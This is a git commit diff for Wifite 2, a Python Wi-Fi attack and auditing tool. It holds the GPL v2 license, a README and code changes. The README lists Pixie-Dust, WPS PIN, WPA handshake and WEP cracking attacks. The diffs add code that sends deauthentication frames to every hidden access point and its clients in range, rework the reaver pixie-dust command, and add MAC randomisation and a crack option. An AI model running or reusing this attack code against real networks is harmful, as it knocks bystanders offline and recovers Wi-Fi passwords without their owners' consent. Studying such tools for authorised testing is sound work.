Merge branch 'master' into master
This commit is contained in:
339
LICENSE
Normal file
339
LICENSE
Normal file
@@ -0,0 +1,339 @@
|
||||
GNU GENERAL PUBLIC LICENSE
|
||||
Version 2, June 1991
|
||||
|
||||
Copyright (C) 1989, 1991 Free Software Foundation, Inc., <http://fsf.org/>
|
||||
51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
Everyone is permitted to copy and distribute verbatim copies
|
||||
of this license document, but changing it is not allowed.
|
||||
|
||||
Preamble
|
||||
|
||||
The licenses for most software are designed to take away your
|
||||
freedom to share and change it. By contrast, the GNU General Public
|
||||
License is intended to guarantee your freedom to share and change free
|
||||
software--to make sure the software is free for all its users. This
|
||||
General Public License applies to most of the Free Software
|
||||
Foundation's software and to any other program whose authors commit to
|
||||
using it. (Some other Free Software Foundation software is covered by
|
||||
the GNU Lesser General Public License instead.) You can apply it to
|
||||
your programs, too.
|
||||
|
||||
When we speak of free software, we are referring to freedom, not
|
||||
price. Our General Public Licenses are designed to make sure that you
|
||||
have the freedom to distribute copies of free software (and charge for
|
||||
this service if you wish), that you receive source code or can get it
|
||||
if you want it, that you can change the software or use pieces of it
|
||||
in new free programs; and that you know you can do these things.
|
||||
|
||||
To protect your rights, we need to make restrictions that forbid
|
||||
anyone to deny you these rights or to ask you to surrender the rights.
|
||||
These restrictions translate to certain responsibilities for you if you
|
||||
distribute copies of the software, or if you modify it.
|
||||
|
||||
For example, if you distribute copies of such a program, whether
|
||||
gratis or for a fee, you must give the recipients all the rights that
|
||||
you have. You must make sure that they, too, receive or can get the
|
||||
source code. And you must show them these terms so they know their
|
||||
rights.
|
||||
|
||||
We protect your rights with two steps: (1) copyright the software, and
|
||||
(2) offer you this license which gives you legal permission to copy,
|
||||
distribute and/or modify the software.
|
||||
|
||||
Also, for each author's protection and ours, we want to make certain
|
||||
that everyone understands that there is no warranty for this free
|
||||
software. If the software is modified by someone else and passed on, we
|
||||
want its recipients to know that what they have is not the original, so
|
||||
that any problems introduced by others will not reflect on the original
|
||||
authors' reputations.
|
||||
|
||||
Finally, any free program is threatened constantly by software
|
||||
patents. We wish to avoid the danger that redistributors of a free
|
||||
program will individually obtain patent licenses, in effect making the
|
||||
program proprietary. To prevent this, we have made it clear that any
|
||||
patent must be licensed for everyone's free use or not licensed at all.
|
||||
|
||||
The precise terms and conditions for copying, distribution and
|
||||
modification follow.
|
||||
|
||||
GNU GENERAL PUBLIC LICENSE
|
||||
TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
|
||||
|
||||
0. This License applies to any program or other work which contains
|
||||
a notice placed by the copyright holder saying it may be distributed
|
||||
under the terms of this General Public License. The "Program", below,
|
||||
refers to any such program or work, and a "work based on the Program"
|
||||
means either the Program or any derivative work under copyright law:
|
||||
that is to say, a work containing the Program or a portion of it,
|
||||
either verbatim or with modifications and/or translated into another
|
||||
language. (Hereinafter, translation is included without limitation in
|
||||
the term "modification".) Each licensee is addressed as "you".
|
||||
|
||||
Activities other than copying, distribution and modification are not
|
||||
covered by this License; they are outside its scope. The act of
|
||||
running the Program is not restricted, and the output from the Program
|
||||
is covered only if its contents constitute a work based on the
|
||||
Program (independent of having been made by running the Program).
|
||||
Whether that is true depends on what the Program does.
|
||||
|
||||
1. You may copy and distribute verbatim copies of the Program's
|
||||
source code as you receive it, in any medium, provided that you
|
||||
conspicuously and appropriately publish on each copy an appropriate
|
||||
copyright notice and disclaimer of warranty; keep intact all the
|
||||
notices that refer to this License and to the absence of any warranty;
|
||||
and give any other recipients of the Program a copy of this License
|
||||
along with the Program.
|
||||
|
||||
You may charge a fee for the physical act of transferring a copy, and
|
||||
you may at your option offer warranty protection in exchange for a fee.
|
||||
|
||||
2. You may modify your copy or copies of the Program or any portion
|
||||
of it, thus forming a work based on the Program, and copy and
|
||||
distribute such modifications or work under the terms of Section 1
|
||||
above, provided that you also meet all of these conditions:
|
||||
|
||||
a) You must cause the modified files to carry prominent notices
|
||||
stating that you changed the files and the date of any change.
|
||||
|
||||
b) You must cause any work that you distribute or publish, that in
|
||||
whole or in part contains or is derived from the Program or any
|
||||
part thereof, to be licensed as a whole at no charge to all third
|
||||
parties under the terms of this License.
|
||||
|
||||
c) If the modified program normally reads commands interactively
|
||||
when run, you must cause it, when started running for such
|
||||
interactive use in the most ordinary way, to print or display an
|
||||
announcement including an appropriate copyright notice and a
|
||||
notice that there is no warranty (or else, saying that you provide
|
||||
a warranty) and that users may redistribute the program under
|
||||
these conditions, and telling the user how to view a copy of this
|
||||
License. (Exception: if the Program itself is interactive but
|
||||
does not normally print such an announcement, your work based on
|
||||
the Program is not required to print an announcement.)
|
||||
|
||||
These requirements apply to the modified work as a whole. If
|
||||
identifiable sections of that work are not derived from the Program,
|
||||
and can be reasonably considered independent and separate works in
|
||||
themselves, then this License, and its terms, do not apply to those
|
||||
sections when you distribute them as separate works. But when you
|
||||
distribute the same sections as part of a whole which is a work based
|
||||
on the Program, the distribution of the whole must be on the terms of
|
||||
this License, whose permissions for other licensees extend to the
|
||||
entire whole, and thus to each and every part regardless of who wrote it.
|
||||
|
||||
Thus, it is not the intent of this section to claim rights or contest
|
||||
your rights to work written entirely by you; rather, the intent is to
|
||||
exercise the right to control the distribution of derivative or
|
||||
collective works based on the Program.
|
||||
|
||||
In addition, mere aggregation of another work not based on the Program
|
||||
with the Program (or with a work based on the Program) on a volume of
|
||||
a storage or distribution medium does not bring the other work under
|
||||
the scope of this License.
|
||||
|
||||
3. You may copy and distribute the Program (or a work based on it,
|
||||
under Section 2) in object code or executable form under the terms of
|
||||
Sections 1 and 2 above provided that you also do one of the following:
|
||||
|
||||
a) Accompany it with the complete corresponding machine-readable
|
||||
source code, which must be distributed under the terms of Sections
|
||||
1 and 2 above on a medium customarily used for software interchange; or,
|
||||
|
||||
b) Accompany it with a written offer, valid for at least three
|
||||
years, to give any third party, for a charge no more than your
|
||||
cost of physically performing source distribution, a complete
|
||||
machine-readable copy of the corresponding source code, to be
|
||||
distributed under the terms of Sections 1 and 2 above on a medium
|
||||
customarily used for software interchange; or,
|
||||
|
||||
c) Accompany it with the information you received as to the offer
|
||||
to distribute corresponding source code. (This alternative is
|
||||
allowed only for noncommercial distribution and only if you
|
||||
received the program in object code or executable form with such
|
||||
an offer, in accord with Subsection b above.)
|
||||
|
||||
The source code for a work means the preferred form of the work for
|
||||
making modifications to it. For an executable work, complete source
|
||||
code means all the source code for all modules it contains, plus any
|
||||
associated interface definition files, plus the scripts used to
|
||||
control compilation and installation of the executable. However, as a
|
||||
special exception, the source code distributed need not include
|
||||
anything that is normally distributed (in either source or binary
|
||||
form) with the major components (compiler, kernel, and so on) of the
|
||||
operating system on which the executable runs, unless that component
|
||||
itself accompanies the executable.
|
||||
|
||||
If distribution of executable or object code is made by offering
|
||||
access to copy from a designated place, then offering equivalent
|
||||
access to copy the source code from the same place counts as
|
||||
distribution of the source code, even though third parties are not
|
||||
compelled to copy the source along with the object code.
|
||||
|
||||
4. You may not copy, modify, sublicense, or distribute the Program
|
||||
except as expressly provided under this License. Any attempt
|
||||
otherwise to copy, modify, sublicense or distribute the Program is
|
||||
void, and will automatically terminate your rights under this License.
|
||||
However, parties who have received copies, or rights, from you under
|
||||
this License will not have their licenses terminated so long as such
|
||||
parties remain in full compliance.
|
||||
|
||||
5. You are not required to accept this License, since you have not
|
||||
signed it. However, nothing else grants you permission to modify or
|
||||
distribute the Program or its derivative works. These actions are
|
||||
prohibited by law if you do not accept this License. Therefore, by
|
||||
modifying or distributing the Program (or any work based on the
|
||||
Program), you indicate your acceptance of this License to do so, and
|
||||
all its terms and conditions for copying, distributing or modifying
|
||||
the Program or works based on it.
|
||||
|
||||
6. Each time you redistribute the Program (or any work based on the
|
||||
Program), the recipient automatically receives a license from the
|
||||
original licensor to copy, distribute or modify the Program subject to
|
||||
these terms and conditions. You may not impose any further
|
||||
restrictions on the recipients' exercise of the rights granted herein.
|
||||
You are not responsible for enforcing compliance by third parties to
|
||||
this License.
|
||||
|
||||
7. If, as a consequence of a court judgment or allegation of patent
|
||||
infringement or for any other reason (not limited to patent issues),
|
||||
conditions are imposed on you (whether by court order, agreement or
|
||||
otherwise) that contradict the conditions of this License, they do not
|
||||
excuse you from the conditions of this License. If you cannot
|
||||
distribute so as to satisfy simultaneously your obligations under this
|
||||
License and any other pertinent obligations, then as a consequence you
|
||||
may not distribute the Program at all. For example, if a patent
|
||||
license would not permit royalty-free redistribution of the Program by
|
||||
all those who receive copies directly or indirectly through you, then
|
||||
the only way you could satisfy both it and this License would be to
|
||||
refrain entirely from distribution of the Program.
|
||||
|
||||
If any portion of this section is held invalid or unenforceable under
|
||||
any particular circumstance, the balance of the section is intended to
|
||||
apply and the section as a whole is intended to apply in other
|
||||
circumstances.
|
||||
|
||||
It is not the purpose of this section to induce you to infringe any
|
||||
patents or other property right claims or to contest validity of any
|
||||
such claims; this section has the sole purpose of protecting the
|
||||
integrity of the free software distribution system, which is
|
||||
implemented by public license practices. Many people have made
|
||||
generous contributions to the wide range of software distributed
|
||||
through that system in reliance on consistent application of that
|
||||
system; it is up to the author/donor to decide if he or she is willing
|
||||
to distribute software through any other system and a licensee cannot
|
||||
impose that choice.
|
||||
|
||||
This section is intended to make thoroughly clear what is believed to
|
||||
be a consequence of the rest of this License.
|
||||
|
||||
8. If the distribution and/or use of the Program is restricted in
|
||||
certain countries either by patents or by copyrighted interfaces, the
|
||||
original copyright holder who places the Program under this License
|
||||
may add an explicit geographical distribution limitation excluding
|
||||
those countries, so that distribution is permitted only in or among
|
||||
countries not thus excluded. In such case, this License incorporates
|
||||
the limitation as if written in the body of this License.
|
||||
|
||||
9. The Free Software Foundation may publish revised and/or new versions
|
||||
of the General Public License from time to time. Such new versions will
|
||||
be similar in spirit to the present version, but may differ in detail to
|
||||
address new problems or concerns.
|
||||
|
||||
Each version is given a distinguishing version number. If the Program
|
||||
specifies a version number of this License which applies to it and "any
|
||||
later version", you have the option of following the terms and conditions
|
||||
either of that version or of any later version published by the Free
|
||||
Software Foundation. If the Program does not specify a version number of
|
||||
this License, you may choose any version ever published by the Free Software
|
||||
Foundation.
|
||||
|
||||
10. If you wish to incorporate parts of the Program into other free
|
||||
programs whose distribution conditions are different, write to the author
|
||||
to ask for permission. For software which is copyrighted by the Free
|
||||
Software Foundation, write to the Free Software Foundation; we sometimes
|
||||
make exceptions for this. Our decision will be guided by the two goals
|
||||
of preserving the free status of all derivatives of our free software and
|
||||
of promoting the sharing and reuse of software generally.
|
||||
|
||||
NO WARRANTY
|
||||
|
||||
11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY
|
||||
FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN
|
||||
OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES
|
||||
PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED
|
||||
OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
|
||||
MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS
|
||||
TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE
|
||||
PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING,
|
||||
REPAIR OR CORRECTION.
|
||||
|
||||
12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
|
||||
WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR
|
||||
REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES,
|
||||
INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING
|
||||
OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED
|
||||
TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY
|
||||
YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER
|
||||
PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE
|
||||
POSSIBILITY OF SUCH DAMAGES.
|
||||
|
||||
END OF TERMS AND CONDITIONS
|
||||
|
||||
How to Apply These Terms to Your New Programs
|
||||
|
||||
If you develop a new program, and you want it to be of the greatest
|
||||
possible use to the public, the best way to achieve this is to make it
|
||||
free software which everyone can redistribute and change under these terms.
|
||||
|
||||
To do so, attach the following notices to the program. It is safest
|
||||
to attach them to the start of each source file to most effectively
|
||||
convey the exclusion of warranty; and each file should have at least
|
||||
the "copyright" line and a pointer to where the full notice is found.
|
||||
|
||||
{description}
|
||||
Copyright (C) {year} {fullname}
|
||||
|
||||
This program is free software; you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation; either version 2 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License along
|
||||
with this program; if not, write to the Free Software Foundation, Inc.,
|
||||
51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
|
||||
|
||||
Also add information on how to contact you by electronic and paper mail.
|
||||
|
||||
If the program is interactive, make it output a short notice like this
|
||||
when it starts in an interactive mode:
|
||||
|
||||
Gnomovision version 69, Copyright (C) year name of author
|
||||
Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
|
||||
This is free software, and you are welcome to redistribute it
|
||||
under certain conditions; type `show c' for details.
|
||||
|
||||
The hypothetical commands `show w' and `show c' should show the appropriate
|
||||
parts of the General Public License. Of course, the commands you use may
|
||||
be called something other than `show w' and `show c'; they could even be
|
||||
mouse-clicks or menu items--whatever suits your program.
|
||||
|
||||
You should also get your employer (if you work as a programmer) or your
|
||||
school, if any, to sign a "copyright disclaimer" for the program, if
|
||||
necessary. Here is a sample; alter the names:
|
||||
|
||||
Yoyodyne, Inc., hereby disclaims all copyright interest in the program
|
||||
`Gnomovision' (which makes passes at compilers) written by James Hacker.
|
||||
|
||||
{signature of Ty Coon}, 1 April 1989
|
||||
Ty Coon, President of Vice
|
||||
|
||||
This General Public License does not permit incorporating your program into
|
||||
proprietary programs. If your program is a subroutine library, you may
|
||||
consider it more useful to permit linking proprietary applications with the
|
||||
library. If this is what you want to do, use the GNU Lesser General
|
||||
Public License instead of this License.
|
||||
42
README.md
Normal file
42
README.md
Normal file
@@ -0,0 +1,42 @@
|
||||
Wifite 2
|
||||
========
|
||||
A complete re-write of [`wifite`](https://github.com/derv82/wifite), a Python script for auditing wireless networks.
|
||||
|
||||
What's new?
|
||||
-----------
|
||||
* Cleaner process management -- No longer leaves processes running in the background.
|
||||
* UX: Target access points are refreshed every second instead of every 5 seconds.
|
||||
* UX: Displays realtime Power level (in db) of currently-attacked target
|
||||
|
||||
What's not new?
|
||||
---------------
|
||||
* Backwards compatibility with the original `wifite`'s arguments.
|
||||
* Same text-based interface everyone knows and loves.
|
||||
|
||||
Full Feature List
|
||||
-----------------
|
||||
* Reaver Pixie-Dust attack (`--pixie`)
|
||||
* Reaver WPS PIN attack (`--reaver`)
|
||||
* WPA handshake capture (`--no-reaver`)
|
||||
* Various WEP attacks (replay, chopchop, fragment, etc)
|
||||
* 5Ghz support for wireless cards that support 5ghz (use `-5` option)
|
||||
* Stores cracked passwords and handshakes to the current directory, with metadata about the access point.
|
||||
|
||||
Support
|
||||
-------
|
||||
Wifite2 is designed entirely for the latest version of Kali Rolling release (tested on Kali 2016.2, updated May 2017).
|
||||
|
||||
This means only the latest versions of these programs are supported: Aircrack-ng suite, wash, reaver, tshark, cowpatty.
|
||||
|
||||
Other pen-testing distributions (such as BackBox) have outdated versions of these suites; these distributions are not supported.
|
||||
|
||||
Screenshots
|
||||
-----------
|
||||
|
||||
Decloaking & cracking a hidden access point (via the WPA Handshake attack):
|
||||

|
||||
|
||||
-------------
|
||||
|
||||
Cracking a weak WEP password (using the WEP Replay attack):
|
||||

|
||||
@@ -9,6 +9,7 @@ from py.AttackWPA import AttackWPA
|
||||
from py.AttackWPS import AttackWPS
|
||||
from py.CrackResult import CrackResult
|
||||
from py.Handshake import Handshake
|
||||
from py.CrackHandshake import CrackHandshake
|
||||
|
||||
from json import loads
|
||||
import os
|
||||
@@ -30,6 +31,8 @@ class Wifite(object):
|
||||
|
||||
elif Configuration.check_handshake:
|
||||
self.check_handshake(Configuration.check_handshake)
|
||||
elif Configuration.crack_handshake:
|
||||
CrackHandshake()
|
||||
else:
|
||||
Configuration.get_interface()
|
||||
self.run()
|
||||
@@ -70,7 +73,6 @@ class Wifite(object):
|
||||
hs.analyze()
|
||||
Color.pl('')
|
||||
|
||||
|
||||
def run(self):
|
||||
'''
|
||||
Main program.
|
||||
@@ -172,7 +174,7 @@ if __name__ == '__main__':
|
||||
w.main()
|
||||
except Exception, e:
|
||||
Color.pl('\n{!} {R}Error:{O} %s{W}' % str(e))
|
||||
if Configuration.verbose > 0:
|
||||
if Configuration.verbose > 0 or True:
|
||||
Color.pl('\n{!} {O}Full stack trace below')
|
||||
from traceback import format_exc
|
||||
Color.p('\n{!} ')
|
||||
|
||||
@@ -7,7 +7,7 @@ from Target import Target
|
||||
from Client import Client
|
||||
from Wash import Wash
|
||||
|
||||
import os
|
||||
import os, time
|
||||
|
||||
class Airodump(object):
|
||||
''' Wrapper around airodump-ng program '''
|
||||
@@ -42,6 +42,11 @@ class Airodump(object):
|
||||
self.ivs_only = ivs_only
|
||||
self.skip_wash = skip_wash
|
||||
|
||||
# For tracking decloaked APs (previously were hidden)
|
||||
self.decloaking = False
|
||||
self.decloaked_targets = []
|
||||
self.decloaked_times = {} # Map of BSSID(str) -> epoch(int) of last deauth
|
||||
|
||||
|
||||
def __enter__(self):
|
||||
'''
|
||||
@@ -58,12 +63,13 @@ class Airodump(object):
|
||||
'airodump-ng',
|
||||
self.interface,
|
||||
'-a', # Only show associated clients
|
||||
'-w', self.csv_file_prefix # Output file prefix
|
||||
'-w', self.csv_file_prefix, # Output file prefix
|
||||
'--write-interval', '1' # Write every second
|
||||
]
|
||||
if self.channel:
|
||||
command.extend(['-c', str(self.channel)])
|
||||
elif self.five_ghz:
|
||||
command.extend(['--band', 'abg'])
|
||||
command.extend(['--band', 'a'])
|
||||
|
||||
if self.encryption:
|
||||
command.extend(['--enc', self.encryption])
|
||||
@@ -145,7 +151,15 @@ class Airodump(object):
|
||||
# Sort by power
|
||||
targets.sort(key=lambda x: x.power, reverse=True)
|
||||
|
||||
for old_target in self.targets:
|
||||
for new_target in targets:
|
||||
if old_target.bssid != new_target.bssid: continue
|
||||
if new_target.essid_known and not old_target.essid_known:
|
||||
# We decloaked a target!
|
||||
self.decloaked_targets.append(new_target)
|
||||
|
||||
self.targets = targets
|
||||
self.deauth_hidden_targets()
|
||||
|
||||
return self.targets
|
||||
|
||||
@@ -200,11 +214,11 @@ class Airodump(object):
|
||||
|
||||
if target.essid_len == 0:
|
||||
# Ignore empty/blank ESSIDs
|
||||
continue
|
||||
pass
|
||||
|
||||
if target.channel == "-1":
|
||||
# Ignore -1 channel
|
||||
continue
|
||||
pass
|
||||
|
||||
targets.append(target)
|
||||
return targets
|
||||
@@ -239,6 +253,41 @@ class Airodump(object):
|
||||
i += 1
|
||||
return result
|
||||
|
||||
def deauth_hidden_targets(self):
|
||||
'''
|
||||
Sends deauths (to broadcast and to each client) for all
|
||||
targets (APs) that have unknown ESSIDs (hidden router names).
|
||||
'''
|
||||
self.decloaking = False
|
||||
# Only deauth if channel is fixed.
|
||||
if self.channel is None: return
|
||||
|
||||
# Reusable deauth command
|
||||
deauth_cmd = [
|
||||
'aireplay-ng',
|
||||
'-0', # Deauthentication
|
||||
'1', # Number of deauths to perform.
|
||||
'--ignore-negative-one'
|
||||
]
|
||||
for target in self.targets:
|
||||
if target.essid_known: continue
|
||||
now = int(time.time())
|
||||
secs_since_decloak = now - self.decloaked_times.get(target.bssid, 0)
|
||||
# Decloak every AP once every 30 seconds
|
||||
if secs_since_decloak < 30: continue
|
||||
self.decloaking = True
|
||||
self.decloaked_times[target.bssid] = now
|
||||
if Configuration.verbose > 1:
|
||||
from Color import Color
|
||||
verbout = " [?] Deauthing %s" % target.bssid
|
||||
verbout += " (broadcast & %d clients)" % len(target.clients)
|
||||
Color.pe("\n{C}" + verbout + "{W}")
|
||||
# Deauth broadcast
|
||||
iface = Configuration.interface
|
||||
Process(deauth_cmd + ['-a', target.bssid, iface])
|
||||
# Deauth clients
|
||||
for client in target.clients:
|
||||
Process(deauth_cmd + ['-c', client.bssid, iface])
|
||||
|
||||
if __name__ == '__main__':
|
||||
''' Example usage. wlan0mon should be in Monitor Mode '''
|
||||
|
||||
@@ -30,6 +30,11 @@ class Arguments(object):
|
||||
type=int,
|
||||
help=Color.s('Wireless channel to scan (default: {G}all channels{W})'))
|
||||
glob.add_argument('--channel', help=argparse.SUPPRESS, action='store', dest='channel', type=int)
|
||||
glob.add_argument('-mac',
|
||||
'---random-mac',
|
||||
action='store_true',
|
||||
dest='random_mac',
|
||||
help=Color.s('Randomize wireless card MAC address (default: {G}off{W})'))
|
||||
glob.add_argument('-5',
|
||||
'--5ghz',
|
||||
action='store_true',
|
||||
@@ -271,7 +276,10 @@ class Arguments(object):
|
||||
dest='check_handshake',
|
||||
help=Color.s('Check a .cap file (or all hs/*.cap files) for WPA handshakes'))
|
||||
commands.add_argument('-check', help=argparse.SUPPRESS, action='store', nargs='?', const='<all>', dest='check_handshake')
|
||||
|
||||
commands.add_argument('--crack',
|
||||
action='store_true',
|
||||
dest='crack_handshake',
|
||||
help=Color.s('Show commands to crack a captured handshake'))
|
||||
return parser.parse_args()
|
||||
|
||||
if __name__ == '__main__':
|
||||
|
||||
@@ -77,8 +77,8 @@ class AttackWEP(Attack):
|
||||
|
||||
while True:
|
||||
airodump_target = self.wait_for_target(airodump)
|
||||
Color.p('\r{+} running {C}%s{W} WEP attack ({G}%d IVs{W}) '
|
||||
% (attack_name, airodump_target.ivs))
|
||||
Color.pattack("WEP", airodump_target, "%s attack" % attack_name, "%d IVs" % airodump_target.ivs)
|
||||
#Color.p('\r{+} running {C}%s{W} WEP attack ({G}%d IVs{W}) ' % (attack_name, airodump_target.ivs))
|
||||
|
||||
# Check if we cracked it.
|
||||
if aircrack and aircrack.is_cracked():
|
||||
@@ -219,8 +219,7 @@ class AttackWEP(Attack):
|
||||
|
||||
attacks_remaining = Configuration.wep_attacks[attack_index + 1:]
|
||||
Color.pl("{+} {G}%d{W} attacks remain ({C}%s{W})" % (len(attacks_remaining), ', '.join(attacks_remaining)))
|
||||
prompt = Color.s('{+} type {G}c{W} to {G}continue{W}' +
|
||||
' or {R}s{W} to {R}stop{W}: ')
|
||||
prompt = Color.s('{+} type {G}c{W} to {G}continue{W} or {R}s{W} to {R}stop{W}: ')
|
||||
if raw_input(prompt).lower().startswith('s'):
|
||||
return False
|
||||
else:
|
||||
|
||||
@@ -34,12 +34,10 @@ class AttackWPA(Attack):
|
||||
# First, start Airodump process
|
||||
with Airodump(channel=self.target.channel,
|
||||
target_bssid=self.target.bssid,
|
||||
skip_wash=True,
|
||||
output_file_prefix='wpa') as airodump:
|
||||
|
||||
Color.clear_line()
|
||||
Color.p('\r{+} {C}WPA-handshake attack{W}: ')
|
||||
Color.p('{O}waiting{W} for target to appear...')
|
||||
Color.clear_entire_line()
|
||||
Color.pattack("WPA", self.target, "Handshake capture", "Waiting for target to appear...")
|
||||
airodump_target = self.wait_for_target(airodump)
|
||||
|
||||
# Get client station MAC addresses
|
||||
@@ -55,9 +53,10 @@ class AttackWPA(Attack):
|
||||
while True:
|
||||
if not deauth_proc or deauth_proc.poll() != None:
|
||||
# Clear line only if we're not deauthing right now
|
||||
Color.p('\r%s\r' % (' ' * 90))
|
||||
Color.p('\r{+} {C}WPA-handshake attack{W}: ')
|
||||
Color.p('waiting for {C}handshake{W}...')
|
||||
Color.clear_entire_line()
|
||||
Color.pattack("WPA", airodump_target, "Handshake capture", "Waiting for handshake...")
|
||||
#Color.p('\r{+} {C}WPA-handshake attack{W}: ')
|
||||
#Color.p('waiting for {C}handshake{W}...')
|
||||
|
||||
time.sleep(1)
|
||||
|
||||
@@ -97,8 +96,8 @@ class AttackWPA(Attack):
|
||||
airodump_target = self.wait_for_target(airodump)
|
||||
for client in airodump_target.clients:
|
||||
if client.station not in clients:
|
||||
Color.pl('\r{+} discovered {G}client{W}:' +
|
||||
' {C}%s{W}%s' % (client.station, ' ' * 10))
|
||||
Color.clear_entire_line()
|
||||
Color.pl('\r{+} discovered new {G}client{W}: {C}%s{W}' % client.station)
|
||||
clients.append(client.station)
|
||||
|
||||
# Send deauth to a client or broadcast
|
||||
|
||||
@@ -2,6 +2,7 @@
|
||||
# -*- coding: utf-8 -*-
|
||||
|
||||
from Attack import Attack
|
||||
from Airodump import Airodump
|
||||
from Color import Color
|
||||
from Configuration import Configuration
|
||||
from CrackResultWPS import CrackResultWPS
|
||||
@@ -37,7 +38,7 @@ class AttackWPS(Attack):
|
||||
' support the {O}WPS pixie-dust attack{W}')
|
||||
|
||||
if Configuration.pixie_only:
|
||||
Color.pl('{!} {O}--pixie{R} set, ignoring WPS-PIN attack{W}')
|
||||
Color.pl('\r{!} {O}--pixie{R} set, ignoring WPS-PIN attack{W}')
|
||||
self.success = False
|
||||
else:
|
||||
# Run WPS-PIN attack
|
||||
@@ -58,26 +59,37 @@ class AttackWPS(Attack):
|
||||
|
||||
command = [
|
||||
'reaver',
|
||||
'-i', Configuration.interface,
|
||||
'-b', self.target.bssid,
|
||||
'-c', self.target.channel,
|
||||
'-K', '1', # pixie-dust attack
|
||||
'-a', # Automatically restart session
|
||||
'--interface', Configuration.interface,
|
||||
'--bssid', self.target.bssid,
|
||||
'--channel', self.target.channel,
|
||||
'--pixie-dust', '1', # pixie-dust attack
|
||||
'--delay', '0',
|
||||
'--no-nacks',
|
||||
'--session', '/dev/null', # Don't restart session
|
||||
'-vv' # (very) verbose
|
||||
]
|
||||
|
||||
stdout_write = open(self.stdout_file, 'a')
|
||||
|
||||
reaver = Process(command, stdout=stdout_write, stderr=Process.devnull())
|
||||
|
||||
pin = None
|
||||
step = '0) initializing'
|
||||
step = 'initializing'
|
||||
time_since_last_step = 0
|
||||
|
||||
while True:
|
||||
time.sleep(1)
|
||||
with Airodump(channel=self.target.channel,
|
||||
target_bssid=self.target.bssid,
|
||||
skip_wash=False,
|
||||
output_file_prefix='pixie') as airodump:
|
||||
|
||||
Color.clear_line()
|
||||
Color.p('\r{+} {C}WPS pixie-dust attack{W} ')
|
||||
Color.pattack("WPS", self.target, "Pixie Dust", "Waiting for target to appear...")
|
||||
|
||||
while True:
|
||||
try:
|
||||
airodump_target = self.wait_for_target(airodump)
|
||||
except Exception as e:
|
||||
Color.pattack("WPS", self.target, "Pixie-Dust", "{R}failed: {O}%s{W}" % e)
|
||||
Color.pl("")
|
||||
return False
|
||||
|
||||
stdout_write.flush()
|
||||
|
||||
@@ -99,15 +111,21 @@ class AttackWPS(Attack):
|
||||
if pin and psk and ssid:
|
||||
# We cracked it.
|
||||
bssid = self.target.bssid
|
||||
Color.pl('\n\n{+} {G}successfully cracked WPS PIN and PSK{W}\n')
|
||||
Color.clear_line()
|
||||
Color.pattack("WPS", airodump_target, "Pixie-Dust", "{G}successfully cracked WPS PIN and PSK{W}\n")
|
||||
self.crack_result = CrackResultWPS(bssid, ssid, pin, psk)
|
||||
self.crack_result.dump()
|
||||
return True
|
||||
else:
|
||||
# Failed to crack, reaver proces ended.
|
||||
Color.pl('{R}failed: {O}WPS pin not found{W}')
|
||||
Color.clear_line()
|
||||
Color.pattack("WPS", airodump_target, "Pixie-Dust", "{R}Failed: {O}WPS PIN not found{W}\n")
|
||||
return False
|
||||
|
||||
if 'WPS pin not found' in stdout:
|
||||
Color.pl('{R}failed: {O}WPS pin not found{W}')
|
||||
break
|
||||
|
||||
last_step = step
|
||||
# Status updates, depending on last line of stdout
|
||||
if 'Waiting for beacon from' in stdout_last_line:
|
||||
@@ -127,15 +145,11 @@ class AttackWPS(Attack):
|
||||
elif 'Detected AP rate limiting,' in stdout_last_line:
|
||||
if Configuration.wps_skip_rate_limit:
|
||||
Color.pl('{R}failed: {O}hit WPS rate-limit{W}')
|
||||
Color.pl('{!} {O}use {R}--skip-rate-limit{O} to ignore' +
|
||||
Color.pl('{!} {O}use {R}--ignore-ratelimit{O} to ignore' +
|
||||
' this kind of failure in the future{W}')
|
||||
break
|
||||
step = '({C}step -/8{W}) waiting for AP rate limit'
|
||||
|
||||
if 'WPS pin not found' in stdout:
|
||||
Color.pl('{R}failed: {O}WPS pin not found{W}')
|
||||
break
|
||||
|
||||
if step != last_step:
|
||||
# Step changed, reset step timer
|
||||
time_since_last_step = 0
|
||||
@@ -161,9 +175,10 @@ class AttackWPS(Attack):
|
||||
Color.pl('{R}failed: {O}too many timeouts (%d){W}' % timeout_count)
|
||||
break
|
||||
|
||||
# Display status of Pixie-Dust attack
|
||||
Color.p('{W}%s{W}' % step)
|
||||
Color.clear_line()
|
||||
Color.pattack("WPS", airodump_target, "Pixie-Dust", step)
|
||||
|
||||
time.sleep(1)
|
||||
continue
|
||||
|
||||
# Attack failed, already printed reason why
|
||||
@@ -182,10 +197,10 @@ class AttackWPS(Attack):
|
||||
